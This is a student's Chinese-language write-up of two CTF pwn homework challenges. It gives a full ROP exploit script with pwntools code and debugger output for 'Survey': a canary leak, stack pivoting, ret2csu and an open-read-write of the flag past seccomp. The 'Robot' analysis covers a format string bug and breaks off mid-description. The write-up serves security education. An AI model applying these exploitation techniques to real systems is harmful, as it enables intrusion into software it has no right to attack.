

# HW-0x0A Writeup

School/Grade: 交大資科工所 碩一

Student ID: 309551004 (王冠中)

ID: aesophor

## 完成度：

題目	Score	完成度	Note
Survey	200	100%	
Robot	350	80~90%	<p>因為我一開始想方便 debug，然後把 child 的 close(0) close(1) close(2) patch 成 NO-OP 了，然後一路解到 local 已經可以拿到 shell 才發現這題的 exploit 只能用純 shellcode 寫。</p> <p>由於還有其他科目要顧，所以先交上述 patched 版本的解法</p>

## Survey (200 pts)

這題基本上是我見過數一數二麻煩的 ROP 了，其複雜程度堪比 pwnable.tw 的 De-ASLR (500 PTS)。

- 基本資料

本題 保護全開，而且 buffer overflow 只能蓋到 return address，比 De-ASLR 還硬。  
這題唯一好處是有 `printf()` 可以用，不過這題因為 bof 的可控範圍太小，導致 ROP 很繁瑣。

```
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enable
```

環境：Docker (Ubuntu 20.04) + glibc 2.29

- 程式邏輯

`main()` 函數讓使用者寫 data 到 buf 裏，寫完 buf 的內容，這樣的操作循環兩次後就結束。

```

1 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
2 {
3     char buf[24]; // [rsp+0h] [rbp-20h]
4     unsigned __int64 canary; // [rsp+18h] [rbp-8h]
5
6     canary = __readfsqword(0x28u);
7     proc_init();
8     printf("What is your name : ", a2);
9     fflush(stdout);
10    read(0, buf, 48uLL);
11    printf("Hello, %s\nLeave your message here : ", buf);
12    fflush(stdout);
13    read(0, buf, 48uLL);
14    printf("We have received your message : %s\nThanks for your feedbacks\n", buf);
15    fflush(stdout);
16    return 0LL;
17 }

```

上圖的 `proc_init()` 會禁用 `sys_execve` 這個 system call。

```

1 int proc_init()
2 {
3     int result; // eax
4
5     if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
6     {
7         perror("Seccomp Error");
8         exit(1);
9     }
10    result = prctl(22, 2LL, &unk_40E0);
11    if ( result == -1 )
12    {
13        perror("Seccomp Error");
14        exit(1);
15    }
16    return result;
17 }

```

接著來看看 Stack 的佈局，從 `buf` 到 return address 總共有 48 bytes。

```

-000000000000000020 buf          db 24 dup(?)
-000000000000000008 canary       dq ?
+000000000000000000 saved_rbp    db 8 dup(?)
+000000000000000008 ret_addr     db 8 dup(?)
+000000000000000010
+000000000000000010 ; end of stack variables

```

最後要特別注意，這題不像典型的 pwn 題目使用 `setvbuf()` 禁用 buffering，因此 `printf()` 後資料可能不會立刻寫出來，要自行呼叫 `fflush()` 才能收到資料。

- 漏洞

上面明顯可以發現 fmt 與 buffer overflow 的漏洞。首先我們可以 leak 出 canary，然後可以覆蓋 `main()`'s return address。但問題來了，我們最多只能控到 `rbp` 和 return address，在 return address 之後的東西都控不到了。

Stack Variable	相對於 \$rbp 的位置	長度 (bytes)
char buf[24]	\$rbp - 0x20	24 bytes
stack canary	\$rbp - 0x8	8 bytes
saved rbp	\$rbp	8 bytes
return addr	\$rbp + 8	8 bytes

### • Step 1: Leak Canary & ELF address

首先透過 format string bug 來洩漏 stack canary。在 x86\_64 Linux 中 stack canary 位於 \$rbp - 8 處，其長度為 8 bytes，而且第一個 byte 會是 0x00，所以這邊我們除了 24 bytes 外還要多寫 1 byte（蓋掉）canary 最前面的 0x00，這樣才能 leak 出 canary。

```
proc.recvuntil('name : ')
proc.send(b'A' * 25)

# Leak stack canary (8 bytes) via fmt
proc.recvuntil('Hello, ' + 'A' * 25)

canary = u64(b'\x00' + proc.recv(7))
log.info('leaked canary: {}'.format(hex(canary)))
```

canary 後面會緊接 saved rbp 的值，這邊而言會是 `__libc_csu_init()` 的位址，洩漏出來之後可以算出 ELF 的 base address。

```
__libc_csu_init = u64(proc.recv(6).ljust(8, b'\x00'))
elf_text = __libc_csu_init - (0x559b16c6b2f0 - 0x559b16c6b000)
elf_base = elf_text - (0x5593bb105000 - 0x5593bb104000)
elf_bss = elf_text + (0x561846a350f8 - 0x561846a32000)
log.info('leaked __libc_csu_init: {}'.format(hex(__libc_csu_init)))
log.info('leaked ELF text: {}'.format(hex(elf_text)))
log.info('leaded ELF bss: {}'.format(hex(elf_bss)))

main_2nd_read = elf_text + (0x55576e52d292 - 0x55576e52d000)
elf_main = main_2nd_read - (0x1292 - 0x1235)
log.info('leaked main()\''s 2nd read(): {}'.format(hex(main_2nd_read)))
log.info('leaded main(): {}'.format(hex(elf_main)))
```

### • Step 2: 神棍式 Stack Pivoting

這邊要先知道 `leave` 這個指令在幹嘛，待會用到的時候會再提一次。

```
leave = mov rsp, rbp
pop rbp
```

現在我們必須想辦法 只靠 **RBP + 一個 return addr** 實現 Stack Pivoting。首先我們把剛剛 leak 出來的 canary 擺好，後面把 saved rbp 處設為 `elf_bss + 0x808`，然後再 return 回 `main()`。

要特別注意，不要 return 到 `main()` 最前面，因為 `proc_init()` 中使用了 `prctl()`，這樣會觸發 SIGSYS (Bad System Call)，程式就會結束。因此我們可以 return 到 `call proc_init` 的後面一行。

```
# Write to the same stack buf again and overflow it,
# but this time with the leaked canary
proc.recvuntil('here : ')
payload = A8 * 3                # padding
payload += p64(canary)           # canary
payload += p64(elf_bss + 0x808)  # saved rbp
payload += p64(elf_main)        # ret addr
proc.send(payload)
```

重新返回 `main()` 之後又會有兩次輸入東西的機會，這次東西會輸入到 `$rbp-8` 的地方，也就是 `elf_bss + 0x808 - 0x20` 處。

目前 `rbp` 是 `elf_bss + 0x808`，我們可以再一次將 saved rbp 設為 `elf_bss + 0x808 + 8 + 0x20`。

```
# Return to main() again.
# Note: avoid returning to somewhere before prctl() due to seccomp.
proc.recvuntil('name : ')
payload = A8 * 3
payload += p64(canary)
payload += p64(elf_bss + 0x808 + 8 + 0x20)
payload += p64(elf_main)
proc.send(payload)
proc.recvuntil('here : ')
proc.sendline()
```

如此一來，待會執行 `leave` 指令的時候：

```
leave = mov rsp, rbp
pop rbp
```

`rbp` 的值 (`elf_bss + 0x808`) 會被拷貝到 `rsp`，而新的 `rbp` 會是 `elf_bss + 0x808 + 8 + 0x20`

下面第一張圖是 `leave` 執行前，第二張是 `leave` 執行後。我們可以發現執行後的 `rsp` 已經遷移到 `.bss` 段。

```

▶ 0x5588a9be82e1    leave
0x5588a9be82e2    ret
↓
0x5588a9be8235    lea    rdi, [rip + 0xdda]
0x5588a9be823c    mov    eax, 0
0x5588a9be8241    call   printf@plt <printf@plt>

0x5588a9be8246    mov    rax, qword ptr [rip + 0x2ea3] <0x5588a9beb0f0>
[ STACK ]
00:0000 | rsp  0x7ffcd123f8b0 ←0x0
01:0008 |      0x7ffcd123f8b8 →0x7ffcd123f988 →0x7ffcd1240f4a ←'/home/survey/survey'
02:0010 |      0x7ffcd123f8c0 ←0x100040000

0x5588a9be82e1    leave
▶ 0x5588a9be82e2    ret    <0x5588a9be8235>
↓
0x5588a9be8235    lea    rdi, [rip + 0xdda]
0x5588a9be823c    mov    eax, 0
0x5588a9be8241    call   printf@plt <printf@plt>

0x5588a9be8246    mov    rax, qword ptr [rip + 0x2ea3] <0x5588a9beb0f0>
0x5588a9be824d    mov    rdi, rax
[ STACK ]
00:0000 | rsp  0x5588a9beb908 →0x5588a9be8235 ←lea    rdi, [rip + 0xdda]
01:0008 |      0x5588a9beb910 ←0x0
... ↓
[ STACKTRACE ]

```

到這邊為止，我們就完成了神棍式 Stack Pivoting。

### • Step 3: 【Stage I ROP】神棍式 read() 接力 & ret2csu

按照剛剛 Step 2 的 payload，完成 Stack Pivoting 後我們仍然會再次返回 `main()`，因此我們又會有兩次輸入東西的機會。

但由於剛才 `rbp` 的值的關係，我們可以很巧妙的蓋掉第一次 `read()` 的 return address，所以執行第一次 `read()` 後不會返回 `main()`，而是直接返回到我們輸入的 48 bytes 當中的最前面 8 個 bytes 所填的 return address。

下圖顯示 `read()` 後 `rsp` 巧妙地指向我們剛才所輸入的資料，目前為止我們已可開始 ROP。

```

[ DISASM ]
0x7fe983cc6f7b <read+11>    jne     read+32 <read+32>

0x7fe983cc6f7d <read+13>    xor     eax, eax
0x7fe983cc6f7f <read+15>    syscall
0x7fe983cc6f81 <read+17>    cmp     rax, -0x1000
0x7fe983cc6f87 <read+23>    ja      read+112 <read+112>

▶ 0x7fe983cc6f89 <read+25>    ret     <0x5588a9be8351>
↓
0x5588a9be8351            pop     rsi
0x5588a9be8352            pop     r15
0x5588a9be8354            ret
↓
0x5588a9be8050 <read@plt>    jmp     qword ptr [rip + 0x2f5a] <read>
↓
0x7fe983cc6f70 <read>      lea     rax, [rip + 0xdd459] <0x7fe983da43d0>

[ STACK ]
00:0000 | rsi rsp 0x5588a9beb908 → 0x5588a9be8351 ← pop rsi
01:0008 |         0x5588a9beb910 → 0x5588a9beb938 ← 0x0
02:0010 |         0x5588a9beb918 ← 0x0
03:0018 |         0x5588a9beb920 → 0x5588a9be8050 (read@plt) ← jmp qword ptr [rip +
04:0020 | rbp     0x5588a9beb928 → 0x5588a9be8351 ← pop rsi
05:0028 |         0x5588a9beb930 → 0x5588a9beb968 ← 0x0
06:0030 |         0x5588a9beb938 ← 0x0
... ↓

```

但這樣的 ROP 太不爽了，因為一次最多只能輸入 48 bytes，我想要的是一次輸入 0x300 bytes 之類的。所以接下來就是接力式的呼叫 `read()`，不斷擴張自己的 ROP chain。

呼叫一次 `read()` 只要 32 bytes 的 payload，我們會有額外的 16 bytes 可以寫東西，所以就利用這樣的特性慢慢寫，直到可以透過 `ret2csu` 呼叫一次超大的 `read()`。

```

# main() again...
# This time we can write ROP chain (only 48 bytes)
# read() will return to our ROP chain instead of main()
proc.recvuntil('name : ')
payload = p64(elf_base + pop_rsi_r15_ret) # ret
payload += p64(elf_bss + 0x808 + 8 + 48) # rsi -----
payload += p64(0) # rbp (dummy) |
payload += p64(elf_base + elf.sym['read']) # ret |
payload += p64(elf_base + pop_rsi_r15_ret) # ret |
payload += p64(elf_bss + 0x808 + 8 + 48 * 2) # rsi -----|-----
proc.send(payload) # | |
# ----- | |
payload = p64(elf_base + 0x1368) # rbp (dummy) <----- |
payload += p64(elf_base + elf.sym['read']) # ret |
payload += p64(elf_base + pop_rsi_r15_ret) # ret |
payload += p64(elf_bss + 0x808 + 8 + 48 * 3) # rsi ----- |
payload += p64(0) # rbp (dummy) | |
payload += p64(elf_base + elf.sym['read']) # ret | |
time.sleep(0.1) # | |
proc.send(payload) # | |
# ----- | |
payload = p64(elf_base + pop_rsi_r15_ret) # ret <-----
payload += p64(elf_bss + 0x808 + 8 + 48 * 4) # rsi ----- |

```

```

payload += p64(0) # rbp (dummy) | |
payload += p64(elf_base + elf.sym['read']) # ret | |
payload += p64(elf_base + pop_rsi_r15_ret) # ret | |
payload += p64(elf_bss + 0x808 + 8 + 48 * 5) # rsi -----
time.sleep(0.1) #
proc.send(payload) #
#-----
payload = p64(0) # rbp (dummy) <-----
payload += p64(elf_base + elf.sym['read']) # ret |
payload += p64(elf_base + pop_rsi_r15_ret) # ret |
payload += p64(elf_bss + 0x808 + 8 + 48 * 6) # rsi -----
payload += p64(0) # rbp (dummy) | |
payload += p64(elf_base + elf.sym['read']) # ret | |
time.sleep(0.1) #
proc.send(payload) #
#-----
payload = p64(__libc_csu_init2) # ret2csu <-----
payload += A8 # padding |
payload += p64(0) # rbx |
payload += p64(1) # rbp |
payload += p64(0) # r12 -> edi |
payload += p64(elf_bss + 0x808 + 48 * 7) # r13 -> rsi -----
time.sleep(0.1) #
proc.send(payload) #
#-----
payload = p64(0x400) # r14 -> rdx <-----
payload += p64(bss_fini_ptr) # r15 | |
payload += p64(__libc_csu_init1) # ret | |
payload += A8 * 3 # padding | |
time.sleep(0.1) #
proc.send(payload) #
#-----
payload = A8 * 4 # padding <-----
payload += p64(elf_base + elf.sym['read']) # ret |
payload += A8 # ret <-----
time.sleep(0.1)
proc.send(payload)

```

經過好幾次 `read()` 之後，在最後 `ret2csu` 的地方我們會把 stage 2 的 ROP chain 寫在最後 A8 的地方（倒數第三行），所以待會 `read()` 就會從那個地方繼續往後寫 ROP chain。

#### • Step 4: 【Stage II ROP】Leak libc address by printing GOT

剛剛已經透過 `ret2csu` 呼叫了一個超爽的 `read()`，這次我們可以寫 payload 寫到爽，讚讚 🍷 這邊我們先定義一個方便的 function，讓我們不用每次都需要手刻 `ret2csu` 的 payload：

```

def uROP(elf_base, fini_ptr, addr, arg1, arg2, arg3) -> bytes:
    """
    Returns an ROP chain to call a function
    :param elf_base: the base address of ELF image
    """

```

```

:param fini_ptr: *fini_ptr must contain &_fini()
:param addr: the address of the function
:param arg1: edi
:param arg2: rsi
:param arg3: rdx
:return: a sequence of bytes
"""

__libc_csu_init1 = elf_base + 0x1330
__libc_csu_init2 = elf_base + 0x1346

payload = p64(__libc_csu_init2)    # ret2csu
payload += A8                      # padding
payload += p64(0)                  # rbx
payload += p64(1)                  # rbp
payload += p64(arg1)               # r12 -> edi
payload += p64(arg2)               # r13 -> rsi
payload += p64(arg3)               # r14 -> rdx
payload += p64(fini_ptr)           # r15
payload += p64(__libc_csu_init1)   # ret
payload += A8 * 7                  # padding
payload += p64(addr)               # ret
return payload

```

接下來這邊的 ROP chain 會接著寫到剛剛那個 ROP chain 的尾巴。也就是說，剛剛到 ROP chain 會接續下圖中的 ROP chain。

```

# At this point, we should be able to perform
# arbitrary write via read(). ^____^
# Here we will leak libc address, write final payload and pivot the stack.
payload = uROP(elf_base, bss_fini_ptr, elf_base + elf.sym['read'], 0, 0, 0) # set rax = 0
payload += uROP(elf_base, bss_fini_ptr, elf_base + pop_rdi_ret, 0, elf_base + elf.got['read'], 0)
payload += p64(elf_base + hello_fmt)    # rdi
payload += p64(elf_base + ret)           # ret (stack alignment)
payload += p64(elf_base + elf.sym['printf']) # ret
payload += p64(elf_base + pop_rbp_ret)    # ret
payload += p64(elf_bss + 0x808 + 8 + 48 * 7 + 17 * 8 * 2 + 8 * 6) # rbp ---
payload += p64(elf_base + 0x12b9)        # ret |
payload += p64(canary)                   # |
payload += A8                            # padding <-----
payload += uROP(elf_base, bss_fini_ptr, elf_base + elf.sym['read'], 0, elf_bss + 0x300, 0x400)
payload += p64(elf_base + pop_rsp_r13_r14_r15_ret) # ret
payload += p64(elf_bss + 0x300)           # rsp
time.sleep(0.1)
proc.send(payload)

```

上圖所做的事情包括：

- `printf("Hello, %s\n ...", GOT['read'])` 來洩漏 libc address
- 返回 `main()` 呼叫 `fflush(stdout)` (坑爹...)
- 再次 `read()`，這次把 Stage III 的 ROP chain 寫到 `elf_bss + 0x300`
- stack pivot 到 `elf_bss + 0x300`



這邊最坑爹的就是那個 `fflush(stdout)`，本來快放棄了（因為 `printf` 之後都收不到東西），後來看了 GOT 才想到可能要自己 `fflush` (ノ°Д°)ノ         

`fflush(stdout)` 之後，就可以成功收到 `read@libc` 的位址了

```
proc.recvuntil('Hello, ')\nruntime_read = u64(proc.recv(6).ljust(8, b'\\x00'))\nruntime_syscall = runtime_read + 15\nlog.info('leaked read(): {}'.format(hex(runtime_read)))\nlog.info('leaked syscall gadget: {}'.format(hex(runtime_syscall)))
```

```
[DEBUG] Received 0x28 bytes:\n00000000 48 65 6c 6c 6f 2c 20 70 6f cc 83 e9 7f 0a 4c 65 |Hell|o, p|o...|...Le|\n00000010 61 76 65 20 79 6f 75 72 20 6d 65 73 73 61 67 65 |ave |your|mes|sage|\n00000020 20 68 65 72 65 20 3a 20                                     |her |e :|\n00000028\n[*] leaked read(): 0x7fe983cc6f70\n[*] leaked syscall gadget: 0x7fe983cc6f7f
```

#### • Step 5: 【Stage III ROP】ret2syscall & orw the flag

接下來我們運用 pwnable.tw 上 unexploitable 的一個技巧：透過 `read@libc` + offset 來獲得 `syscall` 這個指令的 address。拿到 `syscall` 的位址後直接發動 `ret2syscall` + `ret2csu` 的組合拳，就可以 open, read, write the flag。

```
pwndbg> disassemble read\nDump of assembler code for function __GI___libc_read:\n0x00007fe983cc6f70 <+0>:    lea    rax,[rip+0xdd459]        # 0x7fe983da43d0 <__libc_\nmultiple_threads>\n0x00007fe983cc6f77 <+7>:    mov    eax,DWORD PTR [rax]\n0x00007fe983cc6f79 <+9>:    test   eax,eax\n0x00007fe983cc6f7b <+11>:   jne     0x7fe983cc6f90 <__GI___libc_read+32>\n0x00007fe983cc6f7d <+13>:   xor     eax,eax\n0x00007fe983cc6f7f <+15>:   syscall\n0x00007fe983cc6f81 <+17>:   cmp     rax,0xffffffffffff000\n0x00007fe983cc6f87 <+23>:   ja      0x7fe983cc6fe0 <__GI___libc_read+112>\n0x00007fe983cc6f89 <+25>:   ret
```

如果要呼叫一個 `syscall`，我們需要控制 `rax` (`syscall` ID), `rdi`, `rsi`, `rdx`。

`rdi`, `rsi`, `rdx` 通通可以透過 `ret2csu` 完成（但由於 `ret2csu` 只能控制 `edi`，不能控制 `rdi`，所以這邊需要額外使用 `pop rdi; ret` 的 gadget 來設定 `rdi` 的值）

那麼 `rax` 呢？有個很猥褻的思路：我們可以 `read()` `n` bytes 來將 `rax` 設成 `n`。

```
# Write flag path into memory and orw the flag
flag_path_str = b'/home/survey/flag\x00'
flag_path_ptr = elf_bss + 0x100
buf = elf_bss + 0x200
fd = 3
payload = A8 * 3 # padding
payload += uROP(elf_base, bss_fini_ptr, elf_base + elf.sym['read'], 0, flag_path_ptr, len(flag_path_str))
payload += uROP(elf_base, bss_fini_ptr, elf_base + elf.sym['read'], 0, flag_path_ptr, 2) # set rax = 2
payload += uROP(elf_base, bss_fini_ptr, elf_base + pop_rdi_ret, 0, 0, 0)
payload += p64(flag_path_ptr) # rdi
payload += p64(runtime_syscall) # ret
payload += uROP(elf_base, bss_fini_ptr, elf_base + elf.sym['read'], 0, 0, 0) # set rax = 0
payload += uROP(elf_base, bss_fini_ptr, runtime_syscall, fd, buf, 64)
payload += uROP(elf_base, bss_fini_ptr, elf_base + elf.sym['read'], 0, flag_path_ptr, 1) # set rax = 1
payload += uROP(elf_base, bss_fini_ptr, runtime_syscall, 1, buf, 64)
time.sleep(0.1)
proc.send(payload)
```

```
[DEBUG] Sent 0x12 bytes:
00000000 2f 68 6f 6d 65 2f 73 75 72 76 65 79 2f 66 6c 61 |/home/survey/flag|
00000010 67 00 |g|
00000012
[DEBUG] Sent 0x2 bytes:
b'/h'
[DEBUG] Sent 0x2 bytes:
b'/h'
[*] Switching to interactive mode

Leave your message here : [DEBUG] Received 0x40 bytes:
00000000 46 4c 41 47 7b 37 68 34 6e 6b 73 5f 66 30 72 5f |FLAG{7h4nks_f0r_|
00000010 79 30 75 72 5f 66 33 33 64 62 61 63 6b 7d 0a 00 |y0ur_f33dbac k}..|
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.....|
*
00000040
FLAG{7h4nks_f0r_y0ur_f33dbac}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
$ █
```

完整 Exploit: <https://github.com/aesophor/ctf/blob/master/nctu-secure-programming-2020-fall/hwa-pwn/1-survey/distribute/share/exploit.py>

- **Flag**

```
FLAG{7h4nks_f0r_y0ur_f33dbac}
```

## Robot (350 pts)

- **基本資料**

```
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       PIE enabled
```

環境 : Docker (Ubuntu 20.04) + glibc 2.29

- 程式邏輯

先來看看簡化版的 `main()`，如此可以看出整支程式大概的輪廓。

```
int main()
{
    pid_t pid;          // [rsp+14h] [rbp-CCh]
    int res;             // [rsp+1Ch] [rbp-C4h]
    char *y;             // [rsp+20h] [rbp-C0h]   parent mmap() 的空間
    char *x;             // [rsp+28h] [rbp-B8h]   child  mmap() 的空間
    int p1[2];           // [rsp+40h] [rbp-A0h]
    int p2[2];           // [rsp+48h] [rbp-98h]
    siginfo_t infop;     // [rsp+50h] [rbp-90h]

    if (pipe2(p1, 02040000) == -1 || pipe2(p2, 02040000) == -1) {
        puts("Cannot establish connection to robot");
        exit(1);
    }

    pid = fork();

    switch ((pid = fork())) {
        case -1:
            puts("Robot bootup failed");
            exit(1);
            break;

        case 0: // parent
            close(p1[0]);
            close(p2[1]);
            x = mmap(NULL, 256, 3, 0x22, -1, 0); // rw

            for (int i = 0; i <= 999; ++i) {
                read(p2[0], x, 4096);
                memset(&infop, 0, sizeof(infop));
                res = waitid(P_PID, pid, &infop, 5);

                if (pid == infop._sifields._pad[0])
                {
                    if (infop.si_code != 1 || infop._sifields._pad[2])
                        puts("AI crashed");
                    else
                        puts("AI halted");
                    exit(0);
                }

                /*
                 * 一堆複雜的判斷 (；ω；) 先無視
            */
            }
        }
    }
}
```

```

        */
        dprintf(p1[1], x);
    }
    puts("Mission failed :(");
    puts("Robot ran out of fuel");
    kill(pid, 9);
    exit(0);
    break;

default: // child
    close(p1[1]);
    close(p2[0]);

    y = mmap(NULL, 256, 7, 0x22, -1, 0); // rwx
    printf("Give me code : ");
    fgets(y, 4096, stdin);
    close(0);
    close(1);
    close(2);

    seccomp(); // 保留 sys_read, sys_write, sys_exit, sys_rt_sigreturn
    JUMPOUT(__CS__, y); // jmp to shellcode
    break;
}
}

```

先來搞懂上面的邏輯吧！

程式一開始先用 `pipe2()` 開了兩個 pipes：p1, p2。由於 pipe 是單向的，所以這邊開了兩個 pipes，來讓 parent 和 child 可以傳遞資料給彼此。

- child 寫東西到 `p2[1]`，parent 去 `p2[0]` 收東西。
- parent 寫東西到 `p1[1]`，child 去 `p1[0]` 收東西。

稍微整理一下剛剛得出的資訊：

Variable	fd	用途
p1[0]	3	child 收 parent 傳的東西
p1[1]	4	parent 寫東西給 child
p2[0]	5	parent 收 child 傳的東西
p1[1]	6	child 寫東西給 parent

接下來進行 `fork()`，並且從此之後 parent 與 child 分道揚鑣。

Process	Actions
Child	<ol style="list-style-type: none"> <li>1. 關閉 p1 寫入端、p2 讀取端</li> <li>2. 用 <code>mmap()</code> 開一段 256 bytes 的 shared memory (rwx)</li> <li>3. 從 stdin 吃 4096 bytes 到這塊 shared memory</li> <li>4. 關閉 stdin, stdout, stderr 三個 fd</li> <li>5. jmp 到 shared memory (把我們的 input 當作指令執行)</li> </ol>
Parent	<ol style="list-style-type: none"> <li>1. 關閉 p1 讀取端、p2 寫入端</li> <li>2. 用 <code>mmap()</code> 開一段 256 bytes 的 shared memory (rw)</li> <li>3. 從 <code>/dev/urandom</code> 讀取 4 bytes 並作為 srand 的 seed</li> <li>4. 產生 4 個亂數：a, b, c, d a 和 b 介於 [0, 19] c 和 d 介於 [80, 99]</li> <li>5. 跑一個迴圈 1000 次，且每次最後傳 x 的內容給 child (child 需要自己去收)</li> </ol>

在仔細分析 parent 的行為之前，先來看看 parent 與 child 用 `mmap()` 做了什麼：

```
// https://code.woboq.org/userspace/glibc/sysdeps/unix/sysv/
// linux/bits/mman-linux.h.html
#define PROT_READ      0x1  /* Page can be read.      */
#define PROT_WRITE     0x2  /* Page can be written.   */
#define PROT_EXEC      0x4  /* Page can be executed.  */

#define MAP_PRIVATE    0x02  /* Changes are private.   */
#define MAP_ANONYMOUS 0x20  /* Don't use a file.      */

// ...

char *y;  // [rsp+20h] [rbp-C0h]
char *x;  // [rsp+28h] [rbp-B8h]

// ...

x = mmap(0LL, 256uLL, 3, 0x22, -1, 0LL); // Parent
y = mmap(0LL, 256uLL, 7, 0x22, -1, 0LL); // Child
```

上面兩行 `mmap()` 可以改寫成以下這樣，簡單來說就是 child rwx，parent rw。

```
int parent_perm = PROT_READ | PROT_WRITE;
int child_perm  = PROT_READ | PROT_WRITE | PROT_EXEC;
int flags       = MAP_PRIVATE | MAP_ANONYMOUS;

x = mmap(NULL, 256, parent_perm, flags, -1, 0); // Parent
y = mmap(NULL, 256, child_perm,  flags, -1, 0); // Child
```

Parent 只要踩進以下 if-block 就會結束，所以我們應該避免它的發生。

```
/* /usr/include/bits/waitflags.h */
#define WNOHANG 1 /* Don't block waiting. */
#define WEXITED 4 /* Report dead child. */

// ...

pid_t pid;          // [rsp+14h] [rbp-CCh]
int waitid_result;  // [rsp+1Ch] [rbp-C4h]
siginfo_t infop;    // [rsp+50h] [rbp-90h]

memset(&infop, 0, sizeof(infop));
res = waitid(P_PID, pid, &infop, WNOHANG | WEXITED);

// wait 出錯：該 pid 不合法時（該 process 已不存在）
if (res == -1)
{
    kill(pid, 9);
    puts("Monitor malfunctioning");
    exit(1);
}

// 如果 parent 等不到 child，這個 if-block 就不會進去，
// 具體原因繼續往下看。
if (pid == infop._sigfields._pad[0]) {
    if (infop.si_code != 1 || infop._sigfields._pad[2])
        puts("AI crashed");
    else
        puts("AI halted");
    exit(0);
}
```

Wait flag	Effect
WNOHANG	Return immediately if no child processes in the requested state are present.
WEXITED	Wait for processes to exit.

好，那麼 `siginfo_t` 是什麼呢？下面是它的定義，如果仔細看的話會發現裡面有個 member 是一個名叫 `_sigfields` 的 anonymous union，而且他們的第一個 member 幾乎都是 `__pid_t`，其大小和 `int32` 一樣。

```

/* /usr/include/signal.h */

typedef struct {
    int si_signo;                /* Signal number. */
#ifdef __SI_ERRNO_THEN_CODE
    int si_errno;                /* If non-zero, an errno value associated
with
                                this signal, as defined in <errno.h>. */
    int si_code;                /* Signal code. */
#else
    int si_code;
    int si_errno;
#endif
#ifdef __WORDSIZE == 64
    int __pad0;                  /* Explicit padding. */
#endif

    union {
        int _pad[__SI_PAD_SIZE];

        /* kill(). */
        struct {
            __pid_t si_pid;      /* Sending process ID. */
            __uid_t si_uid;      /* Real user ID of sending process. */
        } _kill;

        /* POSIX.1b timers. */
        struct {
            int si_tid;          /* Timer ID. */
            int si_overrun;       /* Overrun count. */
            __sigval_t si_sigval; /* Signal value. */
        } _timer;

        /* POSIX.1b signals. */
        struct {
            __pid_t si_pid;      /* Sending process ID. */
            __uid_t si_uid;      /* Real user ID of sending process. */
            __sigval_t si_sigval; /* Signal value. */
        } _rt;

        /* SIGCHLD. */
        struct {
            __pid_t si_pid;      /* Which child. */
            __uid_t si_uid;      /* Real user ID of sending process. */
            int si_status;        /* Exit value or signal. */
            __SI_CLOCK_T si_utime;
            __SI_CLOCK_T si_stime;
        } _sigchld;
    };
};

```

```

/* SIGILL, SIGFPE, SIGSEGV, SIGBUS. */
struct {
    void *si_addr;          /* Faulting insn/memory ref. */
    __SI_SIGFAULT_ADDL
    short int si_addr_lsb; /* Valid LSB of the reported address.
*/

    union {
        /* used when si_code=SEGV_BNDERR */
        struct {
            void *_lower;
            void *_upper;
        } _addr_bnd;
        /* used when si_code=SEGV_PKUERR */
        __uint32_t _pkey;
    } _bounds;
} _sigfault;

/* SIGPOLL. */
struct {
    __SI_BAND_TYPE si_band; /* Band event for SIGPOLL. */
    int si_fd;
} _sigpoll;

/* SIGSYS. */
#if __SI_HAVE_SIGSYS
struct {
    void *_call_addr; /* Calling user insn. */
    int _syscall;      /* Triggering system call number. */
    unsigned int _arch; /* AUDIT_ARCH_* of syscall. */
} _sigsys;
#endif
} _sifields;
} siginfo_t __SI_ALIGNMENT;

```

有看出來嗎？因為這邊 `waitid()` 有 `WNOHANG`，所以如果 parent 沒有 wait 到 child 的話，`infop` 這個 structure 就不會被填入任何東西，它的 `infop._sifields._pad[0]` 會是 0，這樣 parent 就不會踩進 "AI Crash" 的那個 if-block。

簡單來說：只要 **child** 跑的夠久，**parent** 就不會等到 **child**，也就不會顯示 "AI Crash"。

接下來就剩 parent 的邏輯要搞懂了，經過一番逆向，發現他是一個遊戲。主角是 robot，然後我們要去抓 outlaw，程式一開始初始化了兩位角色的 x,y 座標，然後玩家可以操控 robot 的上下左右移動(WSAD)，而 robot 只會不斷往地圖左下角移動。



```

unsigned int robot_x; // [rsp+30h] [rbp-B0h]
unsigned int robot_y; // [rsp+34h] [rbp-ACh]
unsigned int target_x; // [rsp+38h] [rbp-A8h]
unsigned int target_y; // [rsp+3Ch] [rbp-A4h]

// Parent
robot_x = rand() % 20u;
robot_y = rand() % 20u;
target_x = rand() % 20u + 80;
target_y = rand() % 20u + 80;

```

但如果真的照著這個邏輯去玩，最後不會拿到真正的 flag，程式只會印出 "NOTFLAG{Super shellcoder}" 然後 `exit(0)`。

```

if (robot_x == target_x && robot_y == target_y)
{
    puts("Mission cleared!");
    puts("Here is a token to show our gratitude : NOTFLAG{Super shellcoder}");
    exit(0);
}

```

- 漏洞

在 parent 裡面有個的 format string bug：

```

char *x;

// Parent
x = mmap(NULL, 256, 3, 0x22, -1, 0);

for (int i = 0; i <= 999; ++i) {
    read(p2[0], x, 4096);
    // ...
    dprintf(p1[1], x); // 我們可以控制 x 來達成 arbitrary write
}

```

- 利用 Format String Bug 達成任意寫入

如何觸發 **format string bug**：讓 payload 為 'M' 開頭且第二個字元為 'ASWD' 之外的 char。

e.g., `M%5$p` 可以收到 `[rsp]` 的值。

```

else if ( *x == 'M' )
{
    move_result = 0;
    switch ( x[1] )
    {
        case 'A':
            move_result = update_position((int *)&robot_x, -1, 0);
            break;
        case 'D':
            move_result = update_position((int *)&robot_x, 1, 0);
            break;
        case 'W':
            move_result = update_position((int *)&robot_x, 0, 1);
            break;
        case 'S':
            move_result = update_position((int *)&robot_x, 0, -1);
            break;
    }
    if ( move_result == -1 )
    {
        v3 = x;
        *(_DWORD *)x = 'liaF';
        *((_WORD *)v3 + 2) = 'de';
        v3[6] = '\\0';
    }
    else if ( move_result == 1 )
    {
        *(_QWORD *)x = 'sseccuS';
    }
}
else

```

稍微整理一下什麼 payload 可以 leak 出什麼東西：

Payload	Leak Target
%1\$p	rdx
%2\$p	rcx
%3\$p	r8
%4\$p	r9
%5\$p	[rsp]
%6\$p	[rsp+8]

有了上面這些，我們就可以 leak 出 ELF base address 與 libc base address 了：

- [saved rbp] 存的是 `__libc_csu_init` 的 address，可以洩漏 ELF base addr

- [return address] 存的是 `__libc_start_main+235`，可以修漏 libc base addr

